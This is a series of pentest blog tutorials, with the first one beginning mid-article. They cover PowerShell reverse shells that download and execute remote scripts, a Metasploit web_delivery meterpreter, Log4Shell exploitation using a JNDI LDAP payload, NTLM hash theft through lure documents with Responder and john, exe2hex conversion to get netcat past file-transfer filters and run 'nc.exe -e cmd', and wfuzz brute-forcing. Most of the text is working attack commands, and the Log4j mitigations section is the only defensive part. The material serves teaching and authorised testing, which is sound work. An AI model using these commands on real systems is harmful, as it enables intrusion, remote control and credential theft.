Through wget, the script is downloaded, now we have to transfer this file through python sever.

python -m SimpleHTTPServer 80

To obtain a reverse connection, we should first launch a Netcat listener on port 4444.

nc -vlp 4444

Users must run the following command into the command prompt of the Windows machine. It will assist in the execution of the PowerShell file.

Remember that the IP address should be your local IP address(Kali IP address).

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.3 -Port 4444

 Once run the script, so we also get the reverse shell in the Netcat listener.

Use the command “whoami” maybe we just have the correct reverse shell. This will tell you the user account type logged in.

ConptyShell

ConPtyShell is a Windows server Interactive Reverse Shell. ConPtyShell converts your bash shell into a remote PowerShell. CreatePseudoConsole() is a ConPtyShell function that was first used 

It creates a Pseudo Console and a shell to which the Pseudo Console is connected with input/output.

Users need to go to the website listed below.

As it is a Github website, you must download the link.

wget https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1

As we run the link, the script is downloaded, now we have to transfer this file through python sever.

python -m SimpleHTTPServer 80

Start a Netcat listener on port 4444 for obtaining a reverse connection.

stty raw -echo; (stty size; cat) | nc -lvnp 4444

Users should enter the following command into the command prompt of the Windows machine. It will help in the execution of the ConPtyShell file.

Remember that the IP address should be your local IP address (Kali IP address).

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.1.3/Invoke-ConPtyShell.ps1'); Invoke-ConPtyShell 192.168.1.3 4444

We can see that the pseudo function is created and we get a fully interactive shell once the command is used.

mini-reverse.ps1

Using the small mini-reverse script, we will obtain a reverse shell.

This website, which is listed below, must be visited, and because it is a Github website, we must download the link.

wget https://gist.githubusercontent.com/Serizao/6a63f35715a8219be6b97da3e51567e7/raw/f4283f758fb720c2fe263b8f7696b896c9984fcf/mini-reverse.ps1

 We must examine the code within the script and change the IP address provided there to our local IP address (Kali IP address).

Once you’ve finished making changes, save the file and start up the Python server.

python -m SimpleHTTPServer 80

To obtain a reverse connection, one must first launch a Netcat listener on port 4444.

nc -nvlp 4444

Users must enter the following command into the command prompt of the Windows machine. It will ease the execution of the mini reverse file. Keep in mind that the IP address should be your local IP address (Kali IP address). The command will assist us in obtaining the reverse shell.

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/mini-reverse.ps1')

We get the reverse shell in the Netcat listener

PowerShell Reverse TCP   

Now just use PowerShell script to communicate with a remote host. Instead of process pipes, all shells in this environment use the Invoke-Expression command. The remote host has complete control over the client at all times.

We have to go to the website listed below. It is a Github website, you must download the link.

wget https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/src/powershell_reverse_tcp.ps1

When the script has been downloaded, simply examine the code within it and replace the IP address given there with our local IP address (Kali IP address). Once the changes are done save the file and start the python server.

python -m SimpleHTTPServer 80

After that start the Netcat listener on port 9000 for obtaining a reverse connection.

nc -vlp 9000

We must run the following command into the command prompt of the Windows machine. It will help us in running the reverse tcp.ps1 file. Remember that the IP address should be your local IP address (Kali IP address). The command will assist us in obtaining the reverse shell.

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3/powershell_reverse_tcp.ps1')

As soon as the command is executed, we get the reverse shell.

Web_Delivery

This exploit makes use of the Metasploit Framework, and the operating systems targeted are Windows and Linux. This attack makes use of a payload.

Payload:

Payloads are malicious scripts that an attacker uses to interact with a target machine to achieve the attack. In Metasploit, the payload files are stored in modules.

Executable Payload:

Users should launch the Metasploit framework and search for “web delivery.” We will be given two payload options and must choose the one that contains a web delivery script.

make use of

exploit/multi/script/web delivery

Start looking for targets using “show targets,” so we see nearly 5 targets that help generate code so that a backdoor is created. Then select the second target and use the command

 set target 2

and use the commands below to set the payload and the lhost, lport, and then exploit it.

set payload python/meterpreter/reverse_tcp
set lhost 192.168.1.13
set lport 8888
exploit

Code that we get after running the script, just copy the script and run it on our windows machine. Once the execution is done set the session to

sessions 1

You will get a meterpreter shell and with ease get the info about that shell with the following command.

sysinfo

Author: Sakshi Gurao is a Researcher and Technical Writer at Hacking Articles, Red Teamer, Penetration Tester. Contact Linkedin

The post PowerShell for Pentester: Windows Reverse Shell appeared first on Hacking Articles.

A Detailed Guide on Log4J Penetration Testing

$
0
0

In this article, we are going to discuss and demonstrate in our lab setup, the exploitation of the new vulnerability identified as CVE-2021-44228 affecting the java logging package, Log4J. This vulnerability has a severity score of 10.0, most critical designation and offers remote code execution on hosts engaging with software that uses log4j utility. This attack has also been called “Log4Shell”.

Table of Content

  1. Log4jShell
  2. What is log4j
  3. What is LDAP and JNDI
  4. LDAP and JNDI Chemistry
  5. Log4j JNDI lookup
  6. Normal Log4j scenario
  7. Exploit Log4j scenario
  8. Pentest Lab Setup
  9. Exploiting Log4j (CVE-2021-44228)
  10. Mitigation

Log4jshell

CVE-2021-44228

Description: Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in the configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

Vulnerability Type          Remote Code Execution

Severity                               Critical

Base CVSS Score               10.0

Versions Affected           All versions from 2.0-beta9 to 2.14.1

CVE-2021-45046

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on macOS but no other tested environments.

Vulnerability Type          Remote Code Execution

Severity                               Critical

Base CVSS Score               9.0

Versions Affected           All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2

CVE-2021-45105

Apache Log4j2 versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. This is also known as a DOS (Denial of Service) attack.

Vulnerability Type          Denial of Service

Severity                               High

Base CVSS Score               7.5

Versions Affected           All versions from 2.0-beta9 to 2.16.0

What is Log4J.

Log4j is a Java-based logging utility that is part of the Apache Logging Services. Log4j is one of the several Java logging frameworks which is popularly used by millions of Java applications on the internet.

What is LDAP and JNDI

LDAP (Lightweight Directory Access Protocol) is an open and cross-platform protocol that is used for directory service authentication. It provides the communication language that the application uses to communicate with other directory services. Directory services store lots of important information like, user accounts details, passwords, computer accounts, etc which are shared with other devices on the network.

JNDI (Java Naming and Directory Interface) is an application programming interface (API) that provides naming and directory functionality to applications written using Java Programming Language.

JNDI and LDAP Chemistry

JNDI provides a standard API for interacting with name and directory services using a service provider interface (SPI). JNDI provides Java applications and objects with a powerful and transparent interface to access directory services like LDAP. The table below shows the common LDAP and JNDI equivalent operations.

Log4J JNDI Lookup

Lookups are a kind of mechanism that add values to the log4j configuration at arbitrary places. Log4j has the ability to perform multiple lookups such as map, system properties and JNDI (Java Naming and Directory Interface) lookups.

Log4j uses the JNDI API to obtain naming and directory services from several available service providers: LDAP, COS (Common Object Services), Java RMI registry (Remote Method Invocation), DNS (Domain Name Service), etc. if this functionality is implemented, then we should this line of code somewhere in the program: ${jndi:logging/context-name}

A Normal Log4J Scenario

The above diagram shows a normal log4j scenario.

Exploit Log4j Scenario

An attacker who can control log messages or log messages parameters can execute arbitrary code on the vulnerable server loaded from LDAP servers when message lookup substitution is enabled. As a result, an attacker can craft a special request that would make the utility remotely downloaded and execute the payload.

 Below is the most common example of it using the combination of JNDI and LDAP: ${jndi:ldap://<host>:<port>/<payload>}

  1. An attacker inserts the JNDI lookup in a header field that is likely to be logged.
  2. The string is passed to log4j for logging.
  3. Log4j interpolates the string and queries the malicious LDAP server.
  4. The LDAP server responds with directory information that contains the malicious Java Class.
  5. Java deserialize (or download) the malicious Java Class and executes it.

Pentest Lab Setup

In the lab setup, we will use Kali VM as the attacker machine and Ubuntu VM as the target machine. So let’s prepare the ubuntu machine. 

git clone https://github.com/kozmer/log4j-shell-poc.git

Once the git clone command has been completed, browse to the log4j-shell-poc directory: Once inside that directory, we can now execute the docker command:

cd log4j-shell-poc
docker build -t log4j-shell-poc .

After that, run the second command on the github page:

docker run --network host log4j-shell-poc

These commands will enable us to use the docker file with a vulnerable app.

Once completed, we have our vulnerable webapp server ready. Now let’s browse to the target IP address in our kali’s browser at port 8080.

So, this is the docker vulnerable application and the area which is affected by this vulnerability is the username field. It is here that we are going to inject our payload. So now, the lab setup is done. We have our vulnerable target machine up and running. Time to perform the attack.

Exploiting Log4j (CVE-2021-44228)

On the kali machine, we need to git clone the same repository. So type the following command:

git clone https://github.com/kozmer/log4j-shell-poc.git

Now we need to install the JDK version. This can be downloaded at the following link.

https://mirrors.huaweicloud.com/java/jdk/8u202-b08/

Click on the correct version and download that inside the Kali Linux.

Now go to the download folder and unzip that file by executing the command then move the extracted file to the /usr/bin folder

tar -xf jdk-8u202-linux-x64.tar.gz
mv jdk-8u202 /usr/bin
cd /usr/bin

Once verified, let’s exit from this directory and browse to the log4j-shell-poc directory. That folder contains a python script, poc.py which we are going to configure as per our lab setup settings. Here you need to modify ‘./jdk1.8.2.20/’ to ‘/usr/bin/jdk1.8.0_202/ as highlighted. what we have done here is we have to change the path of the java location and the java version in the script.

Now that all changes have been made, we need to save the file and get ready to start the attack. In attacker machine, that is the Kali Linux, we will access the docker vulnerable webapp application inside a browser by typing the IP of the ubuntu machine:8080

Now let’s initiate a netcat listener and start the attack.

Type the following command

python3 poc.py --userip 192.168.29.163 --webport 8000 --lport 9001

in a terminal. Make sure you are in the log4j-shell-poc directory when executing the command.

This script started the malicious local LDAP server.

Now let Copy the complete command after send me:

${jndi:ldap://192.168.29.163:1389/a}

paste it inside the browser in the username field. This will be our payload. In the password field, you can provide anything.

Click on the login button to execute the payload. Then switch to the netcat windows where we should get a reverse shell.

We are finally inside that vulnerable webapp docker image.

Mitigation

CVE-2021-44228: Fixed in Log4j 2.15.0 (Java 8)

Implement one of the following mitigation techniques:

  • Java 8 (or later) users should upgrade to release 2.16.0.
  • Java 7 users should upgrade to release 2.12.2.
  • Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Users are advised not to enable JNDI in Log4j 2.16.0. If the JMS Appender is required, use Log4j 2.12.2

CVE-2021-45046: Fixed in Log4j 2.12.2 (Java 7) and Log4j 2.16.0 (Java 8)

Implement one of the following mitigation techniques:

  • Java 8 (or later) users should upgrade to release 2.16.0.
  • Java 7 users should upgrade to release 2.12.2.
  • Otherwise, in any release other than 2.16.0, you may remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • Users are advised not to enable JNDI in Log4j 2.16.0. If the JMS Appender is required, use Log4j 2.12.2.

CVE-2021-45105: Fixed in Log4j 2.17.0 (Java 8)

Implement one of the following mitigation techniques:

  • Java 8 (or later) users should upgrade to release 2.17.0.
  • In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
  • Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

To read more about mitigation, you can access the following  link https://logging.apache.org/log4j/2.x/security.html

Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn

The post A Detailed Guide on Log4J Penetration Testing appeared first on Hacking Articles.

Multiple Files to Capture NTLM Hashes: NTLM Theft

$
0
0

Introduction

Often while conducting penetration tests, attackers aim to escalate their privileges. Be it Kerberoasting or a simple lsass dump attack, stealing NTLM hashes always tops off the list of priorities in the said motive. And there exist various methods to do this using a plethora of tools, however, NTLM Theft is a tool that aggregates many of these attacks under one platform. We’ll discuss the tool in this article.

Installation and Setup

NTLM Theft can be found on github here. We must clone the repository and add one additional python3 package required to run an xlsx attack called xlsxwriter.

git clone https://github.com/Greenwolf/ntlm_theft
pip3 install xlsxwriter

in the folder, you would find a python script. This is the tool we’d be running. But before that, allow me to share some fundamental theories about NTLM.

Windows Authentication: In the 1980s when people had jazz hair and funky boots, Microsoft wanted to use a fundamentally SSO algorithm to allow users to securely sign-on in to their systems. So, they allowed users to input a password and store it as LM Hash.

LM Hash: It is a 142-character, character-insensitive hash which is stored in %SystemRoot%/system32/config/SAM file in a local system and %systemroot%\ntds.dit when the system is part of an Active Directory.

NT Hash: It is a modern version of the LM authentication protocol. NT Hash or commonly known as NTLM Hash is a full Unicode (65,536 characters) character-sensitive hash. It came out later to overcome the fundamental insecurity in LM protocol.

If NT is more recent, why does LM exist still? 2 words– backwards compatibility. Many environments no longer need it and can disable the storage of that value.

Net-NTLMv1 and Net-NTLMv2: Their fundamental mechanism is the same as NThash, they just offer better brute-force protection, but still are very much crackable.

Dumping NTLM hashes via docx file using NTLM Theft

In this practical demonstration, we’ll be using a responder to dump Net-NTLMv2 hashes from a local Windows 10 machine using the NTLM Theft tool and crack them using John.

python3 ntlm_theft.py -g all -s 192.168.1.3 -f test

 -g: generate. Here, we specify the file types (for related attacks) to generate

-s: server’s IP. here, the IP address of our Kali machine as that is where the responder will be running

-f: filename.

This would save all the files under the named directory “test”

Now, as I have mentioned earlier, many attacks exist. We will be using the generated docx file to exploit “includepicture” functionality.

In older MS Word versions, selecting picture -> clicking insert->picture->link to file allowed a user to input a link to desired image. The tools adds attacker’s IP in that field of docx file so that eventually the victim tries to connect to the attacker to fetch that image. That is when the responder comes into the equation.

Now, we will set up a responder on the eth0 interface.

responder -I eth0

What the responder does is that when a client tries to connect (in this case, the victim tries to connect to my IP 192.168.1.3), it poisons LLMNR and NBT-NS and spoofs SMB requests in order to grab Net-NTLMv2 hashes.

So, now the victim opens the docx file that we sent to them using any medium and wait for them to open.

As the victim opens the docx file, we see the responder has successfully captured NTLMv2 hashes!

We can traverse our directory to /usr/share/responder/logs to find the output of the responder. We find our NTLM hashes in a text file called SMB-NTLMv2-SSP-192.168.1.133.txt (IPv4 version) and use john to crack NTLM hashes

cd /usr/share/responder/logs
ls -al
john SMB-NTLMv2-SSP-192.168.1.133.txt

Just like that, we have successfully escalated our privileges!

We can repeat the same process and choose a different attack this time. Let us go with an audio file that will be opened in the Windows media player. We see the file “test.m3u” let’s send it to the victim and wait for him to open it.

In our responder session, we see a log file has been created. We can use john to crack NTLM hashes we just captured using a different technique.

john SMB-NTLMv2-SSP-::ffff:192.168.1.133.txt

But of course, you would also see various methods in the tool (files) which won’t run on modern versions of windows. For this, we can use a “modern” filter with ntlm theft tool that would only generate files that would run successful attacks on modern windows versions.

python3 ntlm_theft.py -g modern -s 192.168.1.3 -f ignite

Or we can also specify the desired type of file for the attack for simplicity. Let’s say we only want to run an excel attack. We create this file using

python3 ntlm_theft.py -g xlsx -s 192.168.1.3 -f demo

Conclusion

NTLM Theft tool saves the time of a penetration tester by readily creating many payloads that can be used to steal NTLM hashes of a system. This script relies on the responder to launch LLMNR and NBT poisoning attacks in order to steal NTLM hashes. Possible future development in the script could be adding this functionality of poisoning and making it a standalone tool for all NTLM needs. Having said that, it is very handy and highly recommended for internal PT and internal phishing simulations as SMB traffic is allowed within a domain. It can also be used with networks where a firewall allows SMB traffic to go out of their network. If you do find a network like that, do reach out! Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Multiple Files to Capture NTLM Hashes: NTLM Theft appeared first on Hacking Articles.

File Transfer Filter Bypass: Exe2Hex

$
0
0

Introduction

Exe2hex is a tool developed by g0tmilk which can be found here. The tool transcribes EXE into a series of hexadecimal strings which can be restored into the original EXE file by using DEBUG.exe or Powershell. This script can then be executed at the victim machine to construct an exe again and execute it. This is helpful in advanced pentest scenarios where the system administrators have blocked transfer/download/upload/e-mail of EXE files. Pentesters can use this tool to bypass such filters. In this article, we demonstrate 4 such methods.

Table of content

  • Background
  • Exe2hex CMD script (PoSH method)
  • Exe2hex URL encoded CMD script (PoSH method)
  • Exe2hex BAT script (DEBUG.exe method)
  • Exe2hex STDIN to CMD Script (PoSH method)
  • Exe2hex TXT file (DEBUG and PoSH method)
  • Conclusion

Background

DEBUG.exe is a by default available executable in Windows that helps a user troubleshoot programs. It also has a feature where it can restore a series of hexadecimal strings into an executable file. The same can be achieved by Powershell. The methodology is very simple:

Step 1: Choose an EXE

Step 2: Compress it using UPX

Step 3: Use exe2hex to convert it into a file containing hexadecimal strings

Step 4: Transfer the file to the victim system

Step 5: Restore the file back to exe and execute

Let’s start by compressing an exe file. We will be using a tool called UPX.

As you can see there are many options to compress a file. We will be using -9 filter which provides 50% compression on average.

upx -h
cp /usr/share/windows-resources/binaries/nc.exe .
ls -lah nc.exe
upx -9 nc.exe
ls -lah nc.exe

Note: You can achieve the same thing by using -cc filter with the exe2hex tool.

Exe2hex CMD script (PoSH method)

Now that our exe has been compressed, we can use exe2hex to convert it into a cmd file. This cmd file has multiple hexadecimal strings as you can see below. A parameter P has been created which appends these converted hex strings into a temporary file called “nc.hex”

exe2hex -x nc.exe -p nc.cmd
head nc.cmd

At the end of the file, you can see a powershell command which is restoring the hex strings back into exe file and removing nc.hex

tail -n 3 nc.cmd

Exe2hex URL encoded CMD script (PoSH method)

What we saw above can be repeated with a bonus. The same script can also be URL encoded with the -e option.

exe2hex -x nc.exe -e -p nc.cmd
head -n 5 nc.cmd

Now, we can transfer this CMD file to the victim system and execute it using the command prompt. As you may observe after the execution has finished, a nc.exe file is generated at the compressed size.

@echo off
nc.cmd
nc.exe 192.168.78.142 4444 –e cmd

Exe2hex BAT script (DEBUG.exe method)

So far we have seen how powershell can be used to restore hex into exe file. In the same way, DEBUG.exe file can be used. Exe2hex can generate a bat file like so:

exe2hex -x nc.exe -b nc.bat
head -n 5 nc.bat
tail -n 7 nc.bat

After that, you can run the bat script on windows and it will create an exe file. If it throws you an error, you need to add DEBUG.exe’s path in environment variables. As you can see, nc.exe has become an executable now.

Exe2hex STDIN to CMD Script (PoSH method)

The tool can also take input from STDIN. This could be useful in scenarios where an executable is available on the internet and it needs to be downloaded using tools such as curl/wget and filters are in place to block that.

cat nc.exe | exe2hex -s -b nc.bat -p nc.cmd

The -s filter is responsible for reading from STDIN. The cmd file generated with this option looks a bit different as the file generated has the name “binary.hex” and the final exe file as “binary.exe”

It can be run now!

Exe2hex TXT file (DEBUG and PoSH method)

We saved the best for last. The tool can also convert EXE files in hexadecimal strings txt files. This is highly useful for situations where advanced filters are in place.

exe2hex -x nc.exe -b nc.txt
head -n 5 nc.txt
exe2hex -x nc.exe -p nc.txt
head -n 5 nc.txt

One other filter is the -l filter that specifies the number of bytes in each line.

exe2hex -x nc.exe -l 10 -p nc.txt
head -n 5 nc.txt

Now, one can rename the file easily in the victim machine using a command prompt or copy it as a different extension (runnable script) and then run like following:

copy nc.txt nc.cmd
@echo off
nc.cmd
nc.exe 192.168.78.142 4444 -e cmd

If you tried the above-mentioned methods, you must set up a listener on your kali machine and try to run this executable. As you could see, the EXE file is working properly!

Conclusion

One sees many scenarios while pentesting where there are certain file upload/download filters either by proxy or WAF. We just presented a way to bypass those defense mechanisms using exe2hex. Hope you liked the article. Thanks for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post File Transfer Filter Bypass: Exe2Hex appeared first on Hacking Articles.

A Detailed Guide on Wfuzz

$
0
0

Introduction

Many tools have been developed that create an HTTP request and allow a user to modify their contents. Fuzzing works the same way. A user can send a similar request multiple times to the server with a certain section of the request changed. When that certain section is replaced by a variable from a list or directory, it is called fuzzing.

In this article, we will learn how we can use wfuzz, which states for “Web Application Fuzzer”, which is an interesting open-source web fuzzing tool. Since its release, many people have gravitated towards wfuzz, particularly in the bug bounty scenario. So, let’s dive into this learning process.

Table of content

  • Introduction to wfuzz
  • Setup
  • Wfpayload and Wfencode
  • Docker run wfuzz
  • Payloads
  • Subdomain Fuzzing
  • Directory Fuzzing
  • Saving fuzzing output
  • Basic wordlist filters
  • Double fuzzing
  • Login bruteforce
  • Cookie fuzzing
  • Header fuzzing
  • HTTP OPTIONS fuzzing
  • Fuzzing through Proxy
  • Authentication fuzz
  • Recursive fuzz
  • Printers and output
  • Encoders
  • Storing and restoring fuzz from recipes
  • Ignoring exceptions and errors
  • Filtering results
  • Sessions in wfuzz
  • Conclusion

Introduction to Wfuzz

Wfuzz is a python coded application to fuzz web applications with a plethora of options. It offers various filters that allow one to replace a simple web request with a required word by replacing it with the variable “FUZZ.”

Setup

To install wfuzz using pip, we can:

pip3 install wfuzz

The same could be achieved by installing from the source using git.

git clone https://github.com/xmendez/wfuzz.git

The help menu to see all the working options is as follows:

wfuzz -h
wfuzz --help

You can use a module by using “-z”

Wfpayload and Wfencode

When you install the tool from the source, compiled executables called wfpayload and wfencode are available. These are responsible for payload generation and encoding. They can be individually used. For example, the command to generate digits from 0 to 15 is as follows:

./wfpayload -z range,0-15

As you can see, there is a pycurl error. It can go away like so:

apt --purge remove python3-pycurl && apt install libcurl4-openssl-dev libssl-dev

Now, when you run wfencode, which is a module to encode a supplied input using a hash algorithm, there is no pycurl error now.

./wfencode -e md5 ignite

Docker run wfuzz

Wfuzz can also be launched using docker in the following way using the repo ghcr.io. The respective command can be run by replacing the last variable wfuzz.

docker run -v $(pwd)/wordlist:/wordlist/ -it ghcr.io/xmendez/wfuzz wfuzz

Payloads

A payload in Wfuzz is a source of input data. The available payloads can be listed by executing:

wfuzz -e payloads

The detailed view can also be looked at using the slice filter:

wfuzz -z help --slice "list"

Subdomain Fuzzing

Subdomain discovery is extremely helpful in pentesting scenarios. Often, attackers launch attacks on subdomains rather than main domains and it can be fuzzed like so:

Here, -c color codes the output response codes
-Z specifies a URL to be input in scan mode and ignores any connection error
-w specifies the wordlist use while subdomain bruteforce.

wfuzz -c -Z -w subdomains.txt http://FUZZ.vulnweb.com

The same can be achieved by providing the subdomain list inline too. Only, the payload (-z option) should be supplied in with “list” as an input. The list is supplied in the format ITEM1-ITEM2-ITEM3 like so:

wfuzz -z list,CVS-testphp-admin-svn http://testphp.vulnweb.com/FUZZ
wfuzz -z list,CVS-testphp-admin-svn http://FUZZ.vulnweb.com/

Directory Fuzzing

Directories can be enumerated using wfuzz just like with gobuster by using a supplied wordlist. This can be done using a -w flag and inputting the path of the wordlist:

wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ

As you can see in the above screenshot, all the results including page not found have been dumped which makes it tedious to go through the results and find pin in a haystack. Therefore, to sort the results out we can see the show code flag (–sc). Other such flags are:

  • –hc/sc CODE #Hide/Show by code in response
  • –hl/sl NUM #ide/Show by number of lines in response
  • –hw/sw NUM #ide/Show by number of words in response
  • –hc/sc NUM #ide/Show by number of chars in response
wfuzz -w wordlist/general/common.txt --sc 200,301 http://testphp.vulnweb.com/FUZZ

Saving fuzzing output

Wfuzz output can also be saved in multiple formats using the -f option.

-f option allows a user to input a file path and specify a printer (which formats the output) after a comma.

wfuzz -w wordlist/general/common.txt -f /tmp/output,csv --sc 200,301 http://testphp.vulnweb.com/FUZZ
cat /tmp/output

In place of csv, you can specify any one of the printers

wfuzz -e printers

Basic wordlist filters

There are certain sub-arguments that can be preceded by -z or -w filter to play around more with. These filters are:

–zP <params>: Arguments for the specified payload

–zD <default>: Default parameter for the specified payload

–zE <encoder>: Encoder for the specified payload

So, to specify a wordlist with the payload, we can do it like so:

wfuzz -z file --zD wordlist/general/common.txt --sc 200,301 http://testphp.vulnweb.com/FUZZ

To hide the HTTP response code 404, the same can be obtained like so:

wfuzz -z file --zD wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ

Double fuzzing

Just like a parameter in a payload can be fuzzed using the keyword “FUZZ” multiple fuzzing is also possible by specifying keywords:

  • FUZ2Z – 2nd parameter
  • FUZ3Z – 3rd parameter
  • FUZ4Z – 4th parameter

And each parameter can be allotted its own wordlist. The first “-w” stands for first FUZZ. Second “-w” holds for the second FUZ2Z and so on.

wfuzz -w wordlist/general/common.txt -w wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ/FUZ2Z

Login bruteforce

HTTP responses can be brute-forced using wfuzz. For example, testphp’s website makes a POST request to the backend and passes “uname” and “pass” as the arguments to a page userinfo.php

The same can be implemented using wfuzz like so:

-d argument specifies the post data to be sent along with the request

wfuzz -z file,wordlist/others/common_pass.txt -d "uname=FUZZ&pass=FUZZ"  --hc 302 http://testphp.vulnweb.com/userinfo.php

As you can see, the correct credentials “test-test” have been found. We used a common file for both username and password. The same can be done by providing different files for both usernames and passwords like so:

-c is to color code the output response which can be skipped.

wfuzz -z file,users.txt -z file,pass.txt --sc 200 -d "uname=FUZZ&pass=FUZ2Z" http://testphp.vulnweb.com/userinfo.php

Cookie fuzzing

To send a custom cookie along a request to different fuzzed directories we can use the “-b” plug. This would add a cookie to the sent HTTP request.

Scenario useful:

  • Cookie poisoning
  • Session hijacking
  • Privilege Escalation
wfuzz -z file,wordlist/general/common.txt -b cookie=secureadmin -b cookie2=value2 --hc 404 http://testphp.vulnweb.com/FUZZ

In the above scenario, we have added 2 static cookies on multiple directories. Now, we can also fuzz the cookie parameter too like so:

wfuzz -z file,wordlist/general/common.txt -b cookie=FUZZ http://testphp.vulnweb.com/

Header fuzzing

HTTP header can be added in a request being sent out by wfuzz. HTTP headers can change the behaviour of an entire web page. Custom headers can be fuzzed or injected in an outgoing request

Scenarios useful:

  • HTTP Header Injections
  • SQL Injections
  • Host Header Injections
wfuzz -z file,wordlist/general/common.txt -H "X-Forwarded-By: 127.0.0.1" -H "User-Agent: Firefox" http://testphp.vulnweb.com/FUZZ

HTTP OPTIONS fuzzing

There are various HTTP Request/Options methods available that can be specified by using the “-X” flag. In the following example, We have inserted the following options in a text file called options.txt

  • GET
  • HEAD
  • POST
  • PUT
  • DELETE
  • CONNECT
  • OPTIONS
  • TRACE
  • PATCH
wfuzz -c -w options.txt --sc 200 -X FUZZ “http://testphp.vulnweb.com”

As you could see, three valid options returned a 200 response code.

The same can be input inline using the “list” payload like so:

wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/

Fuzzing through Proxy

Wfuzz can also route the requests through a proxy. In the following example, a Burp proxy is active on port 8080 and the request intercepted in the burp intercept as you can see.

wfuzz -z file,wordlist/general/common.txt -p localhost:8080 http://testphp.vulnweb.com/FUZZ

The same can also be achieved with SOCKS proxy like so:

wfuzz -z file,wordlist/general/common.txt -p localhost:9500:SOCKS5 http://testphp.vulnweb.com/FUZZ

Authentication fuzz

Wfuzz can also set authentication headers and provide means of authentication through HTTP requests.

Flags:

  • –basic: provides basic Username and Password auth
  • –ntlm: windows auth
  • –digest: webserver negotiation through digest access

In the following example, I am providing a list inline with two variables and –basic input to bruteforce a website httpwatch.com

wfuzz -z list,nonvalid-httpwatch --basic FUZZ:FUZZ https://www.httpwatch.com/httpgallery/authentication/authenticatedimage/default.aspx

Recursive fuzz

-R switch can specify the levels of recursion while fuzzing directories or parameters. Recursion in simple terms means fuzzing at multiple different levels of directories like /dir/dir/dir etc

In the following example, we are recursing at level 1 with a list inline containing 3 directories: admin, CVS and cgi-bin. Note how a directory with – in its name can be supplied inline

wfuzz -z list,"admin-CVS-cgi\-bin" -R1 http://testphp.vulnweb.com/FUZZ

Printers and output

Printers in wfuzz refers to all the formats a payload’s output can be processed as. It can be viewed using -e succeeded by printers argument. Furthermore, “-o” flag can specify the format of the output too

wfuzz -e printers
wfuzz -o json -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ

Encoders

Various encoders are available in wfuzz. One such encoder we saw earlier was md5. Other encoders can be viewed by using “-e” flag with encoders argument.

wfuzz -e encoders

One can fuzz a website for directories by using MD5 output like so:

wfuzz -z file,wordlist/general/common.txt,md5 http://testphp.vulnweb.com/FUZZ

Storing and restoring fuzz from recipes

To make scanning easy, wfuzz can save and restore sessions using the “–dump-recipe” and “–recipe” flag.

wfuzz -w wordlist/general/common.txt --dump-recipe /tmp/recipe --sc 200,301 http://testphp.vulnweb.com/FUZZ
wfuzz --recipe /tmp/recipe

Ignoring exceptions and errors

Often while fuzzing, there are various errors and exceptions that a website can throw. “-Z” option can make wfuzz ignore these errors and exceptions. First, we run a normal subdomain fuzzing routine and then with -Z option:

wfuzz -z list,support-web-none http://FUZZ.google.com/
wfuzz -z list,support-web-none -Z http://FUZZ.google.com/

As you could see, -Z ignores that error on the bottom. Further, any invalid response can also be hidden like so:

wfuzz -z list,support-web-none -Z --hc “XXX” http://FUZZ.google.com/

 

Filtering results

There are many filters available to manipulate a payload or output.

wfuzz --filter-help

These can be manipulated using “–filter, –slice, –field and –efield” arguments.

For example, to view raw responses of the payload sent and the complete HTTP request made, you can use “–efield r” option

wfuzz -z range --zD 0-1 -u http://testphp.vulnweb.com/artists.php?artist=FUZZ --efield r

However, if only the intended URL is needed, one can do it by providing –efield url input.

wfuzz -z range --zD 0-1 -u http://testphp.vulnweb.com/artists.php?artist=FUZZ --efield url --efield h

Similarly, to filter out results based on the response code and the length of the page (lines greater than 97), you can do it like:

wfuzz -z range,0-10 --filter "c=200 and l>97" http://testphp.vulnweb.com/listproducts.php?cat=FUZZ

A detailed table of all the filters for the payloads can be found here.

Sessions in wfuzz

A session in wfuzz is a temporary file which can be saved and later picked up, re-processed and post-processed. This is helpful in situations where one result saved already needs alterations or an analyst needs to look for something in the results. “–oF” filter can save the session output to a file.

